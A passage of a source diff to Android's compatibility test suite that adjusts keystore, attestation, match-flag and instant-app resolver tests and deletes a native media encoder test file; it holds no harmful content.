+    @field:Mock(answer = Answers.CALLS_REAL_METHODS)
+    lateinit var mockService: InstantAppResolverService
+
+    @get:Rule
+    val expectedException = ExpectedException.none()
+
+    @Before
+    fun setUpMocks() {
+        MockitoAnnotations.initMocks(this)
+    }
+
+    @Test
+    fun onGetInstantApp() {
+        if (version == 0) {
+            // No version of the API was implemented, so expect terminal case
+            if (info.intent.isWebIntent) {
+                // If web intent, terminal is total failure
+                expectedException.expect(IllegalStateException::class.java)
+            } else {
+                // Otherwise, terminal is a fail safe by calling [testRemoteCallback]
+                expectedException.expect(TestRemoteCallbackException::class.java)
+            }
+        } else if (version < 2 && !info.intent.isWebIntent) {
+            // Starting from v2, if resolving a non-web intent and a v2+ method isn't implemented,
+            // it fails safely by calling [testRemoteCallback]
+            expectedException.expect(TestRemoteCallbackException::class.java)
+        }
+
+        // Version 1 is the first method (index 0)
+        val methodIndex = version - 1
+
+        // Implement a method if necessary
+        methodList.getOrNull(methodIndex)?.invoke(doNothing().`when`(mockService), info)
+
+        // Call the latest API
+        methodList.last().invoke(mockService, info)
+
+        // Check all methods before implemented method are never called
+        (0 until methodIndex).forEach {
+            methodList[it].invoke(verify(mockService, never()), info)
+        }
+
+        // Check all methods from implemented method are called
+        (methodIndex until methodList.size).forEach {
+            methodList[it].invoke(verify(mockService), info)
+        }
+
+        verifyNoMoreInteractions(mockService)
+    }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
index 0946147..e3fbad5 100644
--- a/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/CipherTest.java
@@ -283,6 +283,12 @@
             mLockCredential.gotoKeyguard();
             mLockCredential.enterAndConfirmLockCredential();
             launchHomeActivity();
+            KeyguardManager keyguardManager = (KeyguardManager)getContext().getSystemService(
+                    Context.KEYGUARD_SERVICE);
+            for (int i = 0; i < 25 && keyguardManager.isDeviceLocked(); i++) {
+                SystemClock.sleep(200);
+            }
+            assertFalse(keyguardManager.isDeviceLocked());
         }
 
         @Override
@@ -424,6 +430,59 @@
         }
     }
 
+    /*
+     * This test performs a round trip en/decryption. It does so while the current thread
+     * is in interrupted state which cannot be signaled to the user of the Java Crypto
+     * API.
+     */
+    public void testEncryptsAndDecryptsInterrupted()
+            throws Exception {
+        Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
+        assertNotNull(provider);
+        final byte[] originalPlaintext = EmptyArray.BYTE;
+        for (String algorithm : EXPECTED_ALGORITHMS) {
+            for (ImportedKey key : importKatKeys(
+                    algorithm,
+                    KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT,
+                    false)) {
+                try {
+                    Key encryptionKey = key.getKeystoreBackedEncryptionKey();
+                    byte[] plaintext = truncatePlaintextIfNecessary(
+                            algorithm, encryptionKey, originalPlaintext);
+                    if (plaintext == null) {
+                        // Key is too short to encrypt anything using this transformation
+                        continue;
+                    }
+                    Cipher cipher = Cipher.getInstance(algorithm, provider);
+                    Thread.currentThread().interrupt();
+                    cipher.init(Cipher.ENCRYPT_MODE, encryptionKey);
+                    AlgorithmParameters params = cipher.getParameters();
+                    byte[] ciphertext = cipher.doFinal(plaintext);
+                    byte[] expectedPlaintext = plaintext;
+                    if ("RSA/ECB/NoPadding".equalsIgnoreCase(algorithm)) {
+                        // RSA decryption without padding left-pads resulting plaintext with NUL
+                        // bytes to the length of RSA modulus.
+                        int modulusLengthBytes = (TestUtils.getKeySizeBits(encryptionKey) + 7) / 8;
+                        expectedPlaintext = TestUtils.leftPadWithZeroBytes(
+                                expectedPlaintext, modulusLengthBytes);
+                    }
+
+                    cipher = Cipher.getInstance(algorithm, provider);
+                    Key decryptionKey = key.getKeystoreBackedDecryptionKey();
+                    cipher.init(Cipher.DECRYPT_MODE, decryptionKey, params);
+                    byte[] actualPlaintext = cipher.doFinal(ciphertext);
+                    assertTrue(Thread.currentThread().interrupted());
+                    MoreAsserts.assertEquals(expectedPlaintext, actualPlaintext);
+                } catch (Throwable e) {
+                    throw new RuntimeException(
+                            "Failed for " + algorithm + " with key " + key.getAlias(),
+                            e);
+                }
+            }
+        }
+    }
+
+
     private boolean isDecryptValid(byte[] expectedPlaintext, byte[] ciphertext, Cipher cipher,
             AlgorithmParameters params, ImportedKey key) {
         try {
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 5cb08a1..55ba086 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -53,7 +53,6 @@
 import static org.hamcrest.Matchers.greaterThanOrEqualTo;
 import static org.hamcrest.Matchers.hasItems;
 
-import android.content.pm.PackageManager;
 import android.content.pm.PackageManager.NameNotFoundException;
 import android.os.Build;
 import android.os.SystemProperties;
@@ -165,10 +164,6 @@
                 KM_PURPOSE_SIGN, KM_PURPOSE_VERIFY, KM_PURPOSE_SIGN | KM_PURPOSE_VERIFY
         };
 
-        // Skip the test if there is no secure lock screen
-        if (!hasSecureLockScreen()) {
-            return;
-        }
         for (int curveIndex = 0; curveIndex < curves.length; ++curveIndex) {
             for (int challengeIndex = 0; challengeIndex < challenges.length; ++challengeIndex) {
                 for (int purposeIndex = 0; purposeIndex < purposes.length; ++purposeIndex) {
@@ -331,10 +326,6 @@
                 },
         };
 
-        // Skip the test if there is no secure lock screen
-        if (!hasSecureLockScreen()) {
-            return;
-        }
         for (int keySize : keySizes) {
             for (byte[] challenge : challenges) {
                 for (int purpose : purposes) {
@@ -1114,17 +1105,16 @@
                 assertTrue(
                         signedCertIssuer.toASN1Object().equals(signingCertSubject.toASN1Object()));
 
+                X500Name signedCertSubject =
+                        new JcaX509CertificateHolder(x509PrevCert).getSubject();
                 if (i == 1) {
                     // First cert should have subject "CN=Android Keystore Key".
-                    X500Name signedCertSubject =
-                            new JcaX509CertificateHolder(x509PrevCert).getSubject();
                     assertEquals(signedCertSubject, new X500Name("CN=Android Keystore Key"));
                 } else {
                     // Only strongbox implementations should have strongbox in the subject line
-                    assertEquals(expectStrongBox, x509CurrCert.getSubjectDN()
-                                                              .getName()
-                                                              .toLowerCase()
-                                                              .contains("strongbox"));
+                    assertEquals(expectStrongBox, signedCertSubject.toString()
+                                                                   .toLowerCase()
+                                                                   .contains("strongbox"));
                 }
             } catch (InvalidKeyException | CertificateException | NoSuchAlgorithmException
                     | NoSuchProviderException | SignatureException e) {
@@ -1154,15 +1144,4 @@
             }
         }
     }
-    /*
-     * Device that don't report android.software.device_admin doesn't have secure lock screen
-     * because device with secure lock screen MUST report android.software.device_admin .
-     *
-     * https://source.android.com/compatibility/7.0/android-7.0-cdd.html#3_9_device_administration
-     *
-     */
-    private boolean hasSecureLockScreen() {
-        PackageManager pm = getContext().getPackageManager();
-        return pm.hasSystemFeature(PackageManager.FEATURE_DEVICE_ADMIN);
-    }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorTest.java
index 40970f5..c6b559a 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorTest.java
@@ -916,7 +916,7 @@
         MoreAsserts.assertEmpty(Arrays.asList(keyInfo.getSignaturePaddings()));
         MoreAsserts.assertEmpty(Arrays.asList(keyInfo.getEncryptionPaddings()));
         assertFalse(keyInfo.isUserAuthenticationRequired());
-        assertEquals(-1, keyInfo.getUserAuthenticationValidityDurationSeconds());
+        assertEquals(0, keyInfo.getUserAuthenticationValidityDurationSeconds());
     }
 
     // Strongbox has more restrictions on key properties than general keystore.
@@ -987,7 +987,7 @@
         MoreAsserts.assertEmpty(Arrays.asList(keyInfo.getSignaturePaddings()));
         MoreAsserts.assertEmpty(Arrays.asList(keyInfo.getEncryptionPaddings()));
         assertFalse(keyInfo.isUserAuthenticationRequired());
-        assertEquals(-1, keyInfo.getUserAuthenticationValidityDurationSeconds());
+        assertEquals(0, keyInfo.getUserAuthenticationValidityDurationSeconds());
     }
 
     public void testGenerate_RSA_ModernSpec_AsCustomAsPossible() throws Exception {
@@ -1069,7 +1069,7 @@
                 KeyProperties.ENCRYPTION_PADDING_RSA_PKCS1);
 
         assertFalse(keyInfo.isUserAuthenticationRequired());
-        assertEquals(-1, keyInfo.getUserAuthenticationValidityDurationSeconds());
+        assertEquals(0, keyInfo.getUserAuthenticationValidityDurationSeconds());
     }
 
     // Strongbox has more restrictions on key properties than general keystore.
@@ -1159,7 +1159,7 @@
                 KeyProperties.ENCRYPTION_PADDING_RSA_PKCS1);
 
         assertFalse(keyInfo.isUserAuthenticationRequired());
-        assertEquals(-1, keyInfo.getUserAuthenticationValidityDurationSeconds());
+        assertEquals(0, keyInfo.getUserAuthenticationValidityDurationSeconds());
     }
 
     public void testGenerate_EC_ModernSpec_UsableForTLSPeerAuth() throws Exception {
diff --git a/tests/tests/match_flags/Android.bp b/tests/tests/match_flags/Android.bp
index 900f3e9..b29d3e0 100644
--- a/tests/tests/match_flags/Android.bp
+++ b/tests/tests/match_flags/Android.bp
@@ -28,5 +28,5 @@
     ],
 
     srcs: ["src/**/*.java"],
-    sdk_version: "test_current",
+    sdk_version: "system_current",
 }
diff --git a/tests/tests/match_flags/AndroidManifest.xml b/tests/tests/match_flags/AndroidManifest.xml
index 1b6cb42..2878bd5 100644
--- a/tests/tests/match_flags/AndroidManifest.xml
+++ b/tests/tests/match_flags/AndroidManifest.xml
@@ -18,6 +18,8 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.matchflags.cts">
 
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+
     <application>
       <uses-library android:name="android.test.runner" />
     </application>
diff --git a/tests/tests/match_flags/src/android/matchflags/cts/MatchFlagTests.java b/tests/tests/match_flags/src/android/matchflags/cts/MatchFlagTests.java
index ab6712a..74024df 100644
--- a/tests/tests/match_flags/src/android/matchflags/cts/MatchFlagTests.java
+++ b/tests/tests/match_flags/src/android/matchflags/cts/MatchFlagTests.java
@@ -16,43 +16,21 @@
 
 package android.matchflags.cts;
 
-import static org.hamcrest.core.Is.is;
-import static org.junit.Assert.assertThat;
 import static org.junit.Assert.fail;
 
 import android.content.ActivityNotFoundException;
-import android.content.ComponentName;
-import android.content.Context;
 import android.content.Intent;
-import android.content.pm.PackageInfo;
-import android.content.pm.PackageManager;
 import android.net.Uri;
-import android.os.Bundle;
-import android.os.ConditionVariable;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.RemoteCallback;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.platform.app.InstrumentationRegistry;
 
-import com.android.compatibility.common.util.SystemUtil;
-
-import org.hamcrest.core.IsNull;
-import org.junit.AfterClass;
-import org.junit.Assert;
-import org.junit.Before;
 import org.junit.BeforeClass;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.TestName;
 import org.junit.runner.RunWith;
 
-import java.util.Objects;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.TimeoutException;
-import java.util.concurrent.atomic.AtomicReference;
-
 @RunWith(AndroidJUnit4.class)
 public class MatchFlagTests {
 
@@ -74,7 +52,16 @@
                 .addCategory(Intent.CATEGORY_BROWSABLE)
                 .setData(Uri.parse(ONLY_BROWSER_URI));
 
-        startActivity(onlyBrowserIntent);
+        if (isBrowserPresent()) {
+            startActivity(onlyBrowserIntent);
+        } else {
+            try {
+                startActivity(onlyBrowserIntent);
+                fail("Device without browser should not launch browser only intent");
+            } catch (ActivityNotFoundException e) {
+                // hooray
+            }
+        }
 
         Intent noBrowserWithBrowserOnlyIntent = new Intent(onlyBrowserIntent)
                 .addFlags(Intent.FLAG_ACTIVITY_REQUIRE_NON_BROWSER);
@@ -123,16 +110,30 @@
                 .addFlags(Intent.FLAG_ACTIVITY_REQUIRE_NON_BROWSER)
                 .addFlags(Intent.FLAG_ACTIVITY_REQUIRE_DEFAULT);
 
-        // with non-browser, we'd expect the resolver
-        // with require default, we'll get activity not found
-        try {
+        if (isBrowserPresent()) {
+            // with non-browser, we'd expect the resolver
+            // with require default, we'll get activity not found
+            try {
+                startActivity(uniqueUriIntentNoBrowserRequireDefault);
+                fail("Should fail to launch when started with non-browser and require default");
+            } catch (ActivityNotFoundException e) {
+                // hooray!
+            }
+        } else {
+            // with non-browser, but no browser present, we'd get a single result
+            // with require default, we'll resolve to that single result
             startActivity(uniqueUriIntentNoBrowserRequireDefault);
-            fail("Should fail to launch when started with non-browser and require default");
-        } catch (ActivityNotFoundException e) {
-            // hooray!
         }
     }
 
+    private static boolean isBrowserPresent() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager()
+                .queryIntentActivities(new Intent(Intent.ACTION_VIEW).addCategory(
+                        Intent.CATEGORY_BROWSABLE).setData(Uri.parse(ONLY_BROWSER_URI)),
+                        0 /* flags */)
+                .stream().anyMatch(resolveInfo -> resolveInfo.handleAllWebDataURI);
+    }
+
     private static void startActivity(Intent onlyBrowserIntent) {
         InstrumentationRegistry.getInstrumentation().getContext().startActivity(
                 onlyBrowserIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
diff --git a/tests/tests/media/libmediandkjni/Android.bp b/tests/tests/media/libmediandkjni/Android.bp
index e501daa..becae52 100644
--- a/tests/tests/media/libmediandkjni/Android.bp
+++ b/tests/tests/media/libmediandkjni/Android.bp
@@ -46,7 +46,6 @@
         "native-media-jni.cpp",
         "native_media_utils.cpp",
         "native_media_decoder_source.cpp",
-        "native_media_encoder_jni.cpp",
     ],
     include_dirs: ["system/core/include"],
     shared_libs: [
diff --git a/tests/tests/media/libmediandkjni/native_media_encoder_jni.cpp b/tests/tests/media/libmediandkjni/native_media_encoder_jni.cpp
deleted file mode 100644
index 2333ddd..0000000
--- a/tests/tests/media/libmediandkjni/native_media_encoder_jni.cpp
+++ /dev/null
@@ -1,412 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-//#define LOG_NDEBUG 0
-#define LOG_TAG "NativeMediaEnc"
-
-#include <stddef.h>
-#include <inttypes.h>
-#include <log/log.h>
-
-#include <assert.h>
-#include <jni.h>
-#include <pthread.h>
-#include <stdio.h>
-#include <string.h>
-#include <unistd.h>
-#include <semaphore.h>
-#include <list>
-#include <memory>
-#include <string>
-
-#include <android/native_window_jni.h>
-
-#include "media/NdkMediaFormat.h"
-#include "media/NdkMediaExtractor.h"
-#include "media/NdkMediaCodec.h"
-#include "media/NdkMediaCrypto.h"
-#include "media/NdkMediaFormat.h"
-#include "media/NdkMediaMuxer.h"
-
-#include "native_media_source.h"
-using namespace Utils;
-
-class NativeEncoder : Thread {
-public:
-
-    NativeEncoder(const std::string&);
-    NativeEncoder(const NativeEncoder&) = delete;
-    ~NativeEncoder();
-    static std::shared_ptr<ANativeWindow> getPersistentSurface();
-    std::shared_ptr<ANativeWindow> getSurface() const;
-
-    Status prepare(std::unique_ptr<RunConfig> config, std::shared_ptr<ANativeWindow> anw = nullptr);
-    Status start();
-    Status waitForCompletion();
-    Status validate();
-
-    Status reset();
-
-protected:
-    void run() override;
-
-private:
-    std::shared_ptr<AMediaCodec> mEnc;
-    std::shared_ptr<ANativeWindow> mLocalSurface; // the one created by createInputSurface()
-    std::string mOutFileName;
-    bool mStarted;
-
-    Stats mStats;
-    std::unique_ptr<RunConfig> mRunConfig;
-
-};
-
-NativeEncoder::NativeEncoder(const std::string& outFileName)
-    : mEnc(nullptr),
-      mLocalSurface(nullptr),
-      mOutFileName(outFileName),
-      mStarted(false) {
-    mRunConfig = nullptr;
-}
-
-NativeEncoder::~NativeEncoder() {
-    mEnc = nullptr;
-    mLocalSurface = nullptr;
-    mRunConfig = nullptr;
-}
-
-//static
-std::shared_ptr<ANativeWindow> NativeEncoder::getPersistentSurface() {
-    ANativeWindow *ps;
-    media_status_t ret = AMediaCodec_createPersistentInputSurface(&ps);
-    if (ret != AMEDIA_OK) {
-        ALOGE("Failed to create persistent surface !");
-        return nullptr;
-    }
-    ALOGI("Encoder: created persistent surface %p", ps);
-    return std::shared_ptr<ANativeWindow>(ps, deleter_ANativeWindow);
-}
-
-std::shared_ptr<ANativeWindow> NativeEncoder::getSurface() const {
-    return mLocalSurface;
-}
-
-Status NativeEncoder::prepare(
-        std::unique_ptr<RunConfig> runConfig, std::shared_ptr<ANativeWindow> surface) {
-    assert(runConfig != nullptr);
-    assert(runConfig->format() != nullptr);
-
-    ALOGI("NativeEncoder::prepare");
-    mRunConfig = std::move(runConfig);
-
-    AMediaFormat *config = mRunConfig->format();
-    ALOGI("Encoder format: %s", AMediaFormat_toString(config));
-
-    const char *mime;
-    AMediaFormat_getString(config, AMEDIAFORMAT_KEY_MIME, &mime);
-
-    AMediaCodec *enc = AMediaCodec_createEncoderByType(mime);
-    mEnc = std::shared_ptr<AMediaCodec>(enc, deleter_AMediaCodec);
-
-    media_status_t status = AMediaCodec_configure(
-            mEnc.get(), config, NULL, NULL /* crypto */, AMEDIACODEC_CONFIGURE_FLAG_ENCODE);
-    if (status != AMEDIA_OK) {
-        ALOGE("failed to configure encoder");
-        return FAIL;
-    }
-
-    if (surface == nullptr) {
-        ANativeWindow *anw;
-        status = AMediaCodec_createInputSurface(mEnc.get(), &anw);
-        mLocalSurface = std::shared_ptr<ANativeWindow>(anw, deleter_ANativeWindow);
-        ALOGI("created input surface = %p", mLocalSurface.get());
-    } else {
-        ALOGI("setting persistent input surface %p", surface.get());
-        status = AMediaCodec_setInputSurface(mEnc.get(), surface.get());
-    }
-
-    return status == AMEDIA_OK ? OK : FAIL;
-}
-
-Status NativeEncoder::start() {
-    ALOGI("starting encoder..");
-
-    media_status_t status = AMediaCodec_start(mEnc.get());
-    if (status != AMEDIA_OK) {
-        ALOGE("failed to start decoder");
-        return FAIL;
-    }
-    if (startThread() != OK) {
-        return FAIL;
-    }
-    mStarted = true;
-    return OK;
-}
-
-Status NativeEncoder::waitForCompletion() {
-    joinThread();
-    ALOGI("encoder done..");
-    return OK;
-}
-
-Status NativeEncoder::validate() {
-    const char *s = AMediaFormat_toString(mRunConfig->format());
-    ALOGI("RESULT: Encoder Output Format: %s", s);
-
-    {
-        int32_t encodedFrames = mStats.frameCount();
-        int32_t inputFrames = mRunConfig->frameCount();
-        ALOGI("RESULT: input frames = %d, Encoded frames = %d",
-                inputFrames, encodedFrames);
-        if (encodedFrames != inputFrames) {
-            ALOGE("RESULT: ERROR: output frame count does not match input");
-            return FAIL;
-        }
-    }
-
-    if (Validator::checkOverallBitrate(mStats, *mRunConfig) != OK) {
-        ALOGE("Overall bitrate check failed!");
-        return FAIL;
-    }
-    if (Validator::checkIntraPeriod(mStats, *mRunConfig) != OK) {
-        ALOGE("I-period check failed!");
-        return FAIL;
-    }
-    if (Validator::checkDynamicKeyFrames(mStats, *mRunConfig) != OK) {
-        ALOGE("Dynamic-I-frame-request check failed!");
-        return FAIL;
-    }
-    if (Validator::checkDynamicBitrate(mStats, *mRunConfig) != OK) {
-        ALOGE("Dynamic-bitrate-update check failed!");
-        return FAIL;
-    }
-
-    return OK;
-}
-
-Status NativeEncoder::reset() {
-
-    mEnc = nullptr;
-    return OK;
-}
-
-void NativeEncoder::run() {
-
-    assert(mRunConfig != nullptr);
-
-    int32_t framesToEncode = mRunConfig->frameCount();
-    auto dynamicParams = mRunConfig->dynamicParams();
-    auto paramItr = dynamicParams.begin();
-    int32_t nFrameCount = 0;
-
-    while (nFrameCount < framesToEncode) {
-        // apply frame-specific settings
-        for (;paramItr != dynamicParams.end()
-                && (*paramItr)->frameNum() <= nFrameCount; ++paramItr) {
-            DParamRef& p = *paramItr;
-            if (p->frameNum() == nFrameCount) {
-                assert(p->param() != nullptr);
-                const char *s = AMediaFormat_toString(p->param());
-                ALOGI("Encoder DynamicParam @frame[%d] - applying setting : %s",
-                        nFrameCount, s);
-                AMediaCodec_setParameters(mEnc.get(), p->param());
-            }
-        }
-
-        AMediaCodecBufferInfo info;
-        int status = AMediaCodec_dequeueOutputBuffer(mEnc.get(), &info, 5000000);
-        if (status >= 0) {
-            ALOGV("got encoded buffer[%d] of size=%d @%lld us flags=%x",
-                    nFrameCount, info.size, (long long)info.presentationTimeUs, info.flags);
-            mStats.add(info);
-            AMediaCodec_releaseOutputBuffer(mEnc.get(), status, false);
-            ++nFrameCount;
-
-            if (info.flags & AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM) {
-                ALOGV("saw EOS");
-                break;
-            }
-
-        } else if (status == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
-        } else if (status == AMEDIACODEC_INFO_OUTPUT_FORMAT_CHANGED) {
-            std::shared_ptr<AMediaFormat> format = std::shared_ptr<AMediaFormat>(
-                    AMediaCodec_getOutputFormat(mEnc.get()), deleter_AMediaFormat);
-            mStats.setOutputFormat(format);
-            ALOGV("format changed: %s", AMediaFormat_toString(format.get()));
-        } else if (status == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
-            ALOGE("no frame in 5 seconds, assume stuck");
-            break;
-        } else {
-            ALOGV("Invalid status : %d", status);
-        }
-    }
-
-    ALOGV("Encoder exited !");
-    AMediaCodec_stop(mEnc.get());
-}
-
-static std::shared_ptr<AMediaFormat> createMediaFormat(
-        std::string mime,
-        int32_t w, int32_t h, int32_t colorFormat,
-        int32_t bitrate, float framerate,
-        int32_t i_interval) {
-
-    std::shared_ptr<AMediaFormat> config(AMediaFormat_new(), deleter_AMediaFormat);
-
-    AMediaFormat_setString(config.get(), AMEDIAFORMAT_KEY_MIME, mime.c_str());
-    AMediaFormat_setInt32(config.get(), AMEDIAFORMAT_KEY_WIDTH, w);
-    AMediaFormat_setInt32(config.get(), AMEDIAFORMAT_KEY_HEIGHT, h);
-    AMediaFormat_setFloat(config.get(), AMEDIAFORMAT_KEY_FRAME_RATE, framerate);
-    AMediaFormat_setInt32(config.get(), AMEDIAFORMAT_KEY_BIT_RATE, bitrate);
-    AMediaFormat_setInt32(config.get(), AMEDIAFORMAT_KEY_I_FRAME_INTERVAL, i_interval);
-    AMediaFormat_setInt32(config.get(), AMEDIAFORMAT_KEY_COLOR_FORMAT, colorFormat);
-
-    return config;
-}
-
-static int32_t getOptimalBitrate(int w, int h) {
-    return (w * h <= 640 * 480) ? 1000000 :
-            (w * h <= 1280 * 720) ? 2000000 :
-            (w * h <= 1920 * 1080) ? 6000000 :
-            10000000;
-}
-
-//-----------------------------------------------------------------------------
-// Tests
-//-----------------------------------------------------------------------------
-static bool runNativeEncoderTest(
-        JNIEnv *env, int fd, jlong offset, jlong fileSize,
-        jstring jmime, int w, int h,
-        const std::vector<DParamRef>& dynParams,
-        int32_t numFrames,
-        bool usePersistentSurface) {
-
-    // If dynamic I-frame is requested, set large-enough i-period
-    // so that auto I-frames do not interfere with the ones explicitly requested,
-    // and hence simplify validation.
-    bool hasDynamicSyncRequest = false;
-
-    // If dynamic bitrate updates are requested, set bitrate mode to CBR to
-    // ensure bitrate within 'window of two updates' remains constant
-    bool hasDynamicBitrateChanges = false;
-
-    for (const DParamRef &d : dynParams) {
-        int32_t temp;
-        if (AMediaFormat_getInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME, &temp)) {
-            hasDynamicSyncRequest = true;
-        } else if (AMediaFormat_getInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, &temp)) {
-            hasDynamicBitrateChanges = true;
-        }
-    }
-
-    const char* cmime = env->GetStringUTFChars(jmime, nullptr);
-    std::string mime = cmime;
-    env->ReleaseStringUTFChars(jmime, cmime);
-
-    float fps = 30.0f;
-    std::shared_ptr<AMediaFormat> config = createMediaFormat(
-            mime, w, h, kColorFormatSurface,
-            getOptimalBitrate(w, h),
-            fps,
-            hasDynamicSyncRequest ? numFrames / fps : 1 /*sec*/);
-
-    if (hasDynamicBitrateChanges) {
-        AMediaFormat_setInt32(config.get(), TBD_AMEDIAFORMAT_KEY_BIT_RATE_MODE, kBitrateModeConstant);
-    }
-
-    std::shared_ptr<Source> src = createDecoderSource(
-            w, h, kColorFormatSurface, fps,
-            true /*looping*/,
-            hasDynamicSyncRequest | hasDynamicBitrateChanges, /*regulate feeding rate*/
-            fd, offset, fileSize);
-
-    std::unique_ptr<RunConfig> runConfig = std::make_unique<RunConfig>(numFrames, config);
-    for (const DParamRef &d : dynParams) {
-        runConfig->add(d);
-    }
-
-    std::string debugOutputFileName = "";
-    std::shared_ptr<NativeEncoder> enc(new NativeEncoder(debugOutputFileName));
-
-    if (usePersistentSurface) {
-        std::shared_ptr<ANativeWindow> persistentSurface = enc->getPersistentSurface();
-        enc->prepare(std::move(runConfig), persistentSurface);
-        src->prepare(nullptr /*bufferListener*/, persistentSurface);
-    } else {
-        enc->prepare(std::move(runConfig));
-        src->prepare(nullptr /*bufferListener*/, enc->getSurface());
-    }
-
-    src->start();
-    enc->start();
-
-    enc->waitForCompletion();
-
-    Status status = enc->validate();
-
-    src->stop();
-    enc->reset();
-
-    return status == OK;
-}
-
-extern "C" jboolean Java_android_media_cts_NativeEncoderTest_testEncodeSurfaceNative(
-        JNIEnv *env, jclass /*clazz*/, int fd, jlong offset, jlong fileSize,
-        jstring jmime, int w, int h) {
-
-    std::vector<DParamRef> dynParams;
-    return runNativeEncoderTest(env, fd, offset, fileSize, jmime, w, h,
-            dynParams, 300, false /*usePersistentSurface*/);
-
-}
-
-extern "C" jboolean Java_android_media_cts_NativeEncoderTest_testEncodePersistentSurfaceNative(
-        JNIEnv *env, jclass /*clazz*/, int fd, jlong offset, jlong fileSize,
-        jstring jmime, int w, int h) {
-
-    std::vector<DParamRef> dynParams;
-    return runNativeEncoderTest(env, fd, offset, fileSize, jmime, w, h,
-            dynParams, 300, true /*usePersistentSurface*/);
-}
-
-extern "C" jboolean Java_android_media_cts_NativeEncoderTest_testEncodeSurfaceDynamicSyncFrameNative(
-        JNIEnv *env, jclass /*clazz*/, int fd, jlong offset, jlong fileSize,
-        jstring jmime, int w, int h) {
-
-    std::vector<DParamRef> dynParams;
-    for (int32_t frameNum : {40, 75, 160, 180, 250}) {
-        dynParams.push_back(DynamicParam::newRequestSync(frameNum));
-    }
-
-    return runNativeEncoderTest(env, fd, offset, fileSize, jmime, w, h,
-            dynParams, 300, false /*usePersistentSurface*/);
-}
-
-extern "C" jboolean Java_android_media_cts_NativeEncoderTest_testEncodeSurfaceDynamicBitrateNative(
-        JNIEnv *env, jclass /*clazz*/, int fd, jlong offset, jlong fileSize,
-        jstring jmime, int w, int h) {
-
-    int32_t bitrate = getOptimalBitrate(w, h);
-    std::vector<DParamRef> dynParams;
-
-    dynParams.push_back(DynamicParam::newBitRate(100,  bitrate/2));
-    dynParams.push_back(DynamicParam::newBitRate(200,  3*bitrate/4));
-    dynParams.push_back(DynamicParam::newBitRate(300,  bitrate));
-
-    return runNativeEncoderTest(env, fd, offset, fileSize, jmime, w, h,
-            dynParams, 400, false /*usePersistentSurface*/);
-}
-
diff --git a/tests/tests/media/libmediandkjni/native_media_utils.cpp b/tests/tests/media/libmediandkjni/native_media_utils.cpp
index 7596cbb..21b7f7f 100644
--- a/tests/tests/media/libmediandkjni/native_media_utils.cpp
+++ b/tests/tests/media/libmediandkjni/native_media_utils.cpp
@@ -27,11 +27,6 @@
 
 namespace Utils {
 
-const char * TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME = "request-sync";
-const char * TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE = "video-bitrate";
-
-const char * TBD_AMEDIAFORMAT_KEY_BIT_RATE_MODE = "bitrate-mode";
-
 Status Thread::startThread() {
     assert(mHandle == 0);
     if (pthread_create(&mHandle, nullptr, Thread::thread_wrapper, this) != 0) {
@@ -56,273 +51,4 @@
     return nullptr;
 }
 
-int32_t RunConfig::dynamicParamsOfKind(
-        const char *key, std::vector<DParamRef>& paramsList) const {
-    paramsList.clear();
-    for (const DParamRef& d : mParams) {
-        assert(d->param() != nullptr);
-
-        if (!strncmp(key, TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME,
-                strlen(TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME))) {
-            int32_t tmp;
-            if (AMediaFormat_getInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME, &tmp)) {
-                paramsList.push_back(d);
-            }
-
-        } else if (!strncmp(key, TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE,
-                strlen(TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE))) {
-            int32_t tmp;
-            if (AMediaFormat_getInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, &tmp)) {
-                paramsList.push_back(d);
-            }
-        }
-    }
-    return (int32_t)paramsList.size();
-}
-
-static bool comparePTS(const AMediaCodecBufferInfo& l, const AMediaCodecBufferInfo& r) {
-    return l.presentationTimeUs < r.presentationTimeUs;
-}
-
